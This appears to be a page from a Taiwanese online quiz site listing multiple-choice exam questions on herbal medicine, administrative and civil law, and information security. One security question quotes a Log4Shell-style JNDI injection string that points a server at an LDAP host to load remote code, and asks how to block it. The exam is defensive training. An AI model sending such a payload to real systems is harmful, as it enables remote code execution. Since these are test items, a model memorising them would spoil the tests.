阿摩線上測驗 登入

最新科目

最新試卷

最新試題

最新申論題

最新課程

最新主題筆記

最新討論

59.下列何種生藥適用於解痙攣及抗發炎? (A)Valerian (B)Feverfew (C)Chamomile (D)Forskolin

6 下列何者非屬行政法人法規定之行政法人績效評鑑內容? (A)人員進用之達成率 (B)年度執行成果之考核 (C)營運(業務)績效及目標達成率之評量 (D)自籌款比率達成率

16 成年人甲於半年前經醫生診斷為失智,某日清醒時,將一筆土地贈與於乙,並在公證人面前口述 表示要將該地送乙。該贈與契約之效力如何? (A)有效 (B)無效 (C)效力未定 (D)得撤銷

9. 分析 WAF 攔截到的攻擊請求時,發現一段針對公司內部 Java Spring Boot 應用程式 的封包,內容包含:${jndi:ldap://192.168.10.5/Exploit} 已知該伺服器的 JDK 版本較 舊,未啟用 com.sun.jndi.ldap.object.trustURLCodebase=false。在無法立即升級應用程 式碼的情 況下, 下列 何項技術 對直接阻斷此類遠端程式碼執行(Remote Code Execution, RCE)攻擊最為適切? (A) 在防火牆封鎖所有連往 192.168.10.5 的 TCP 80 流量 (B) 將伺服器的 HTTPS 憑證更換為強加密演算法(如 RSA 4096) (C) 在 WAF 上啟用針對 jndi 關鍵字的輸入驗證規則 (D) 停用 Web 伺服器的 HTTP TRACE 方法

10. 資安團隊收到一則關於「特定駭客組織利用零時差漏洞攻擊 VPN 設備」的威脅情資。 在尚未釋出官方修補程式(Patch)前,下列何項緩解措施最具防護實效? (A) 實施虛擬修補(Virtual Patching),在 WAF 或 IPS 阻擋特定攻擊特徵 (B) 忽略此情資,等待官方釋出正式修補程式後再處理 (C) 要求全體員工重新申請 VPN 帳號 (D) 立即公開招標並更換不同廠牌的 VPN 設備

11. 某政府機關在業務衝擊分析(Business Impact Analysis, BIA)後,針對某核心系統訂 定目標:MTD(Maximum Tolerable Downtime):8 小時;RTO(Recovery Time Objective):12 小時;RPO(Recovery Point Objective):4 小時。下列何者最能說明 此規劃存在的問題? (A) RTO 超過 MTD,可能導致系統完成復原時已超出業務可接受的中斷時間 (B) RTO 與 RPO 的設定差距較大,表示復原程序設計不完整 (C) RPO 與 MTD 間的差距可能造成備份頻率不足 (D) MTD 應與 RPO 保持相同數值,以利災難復原演練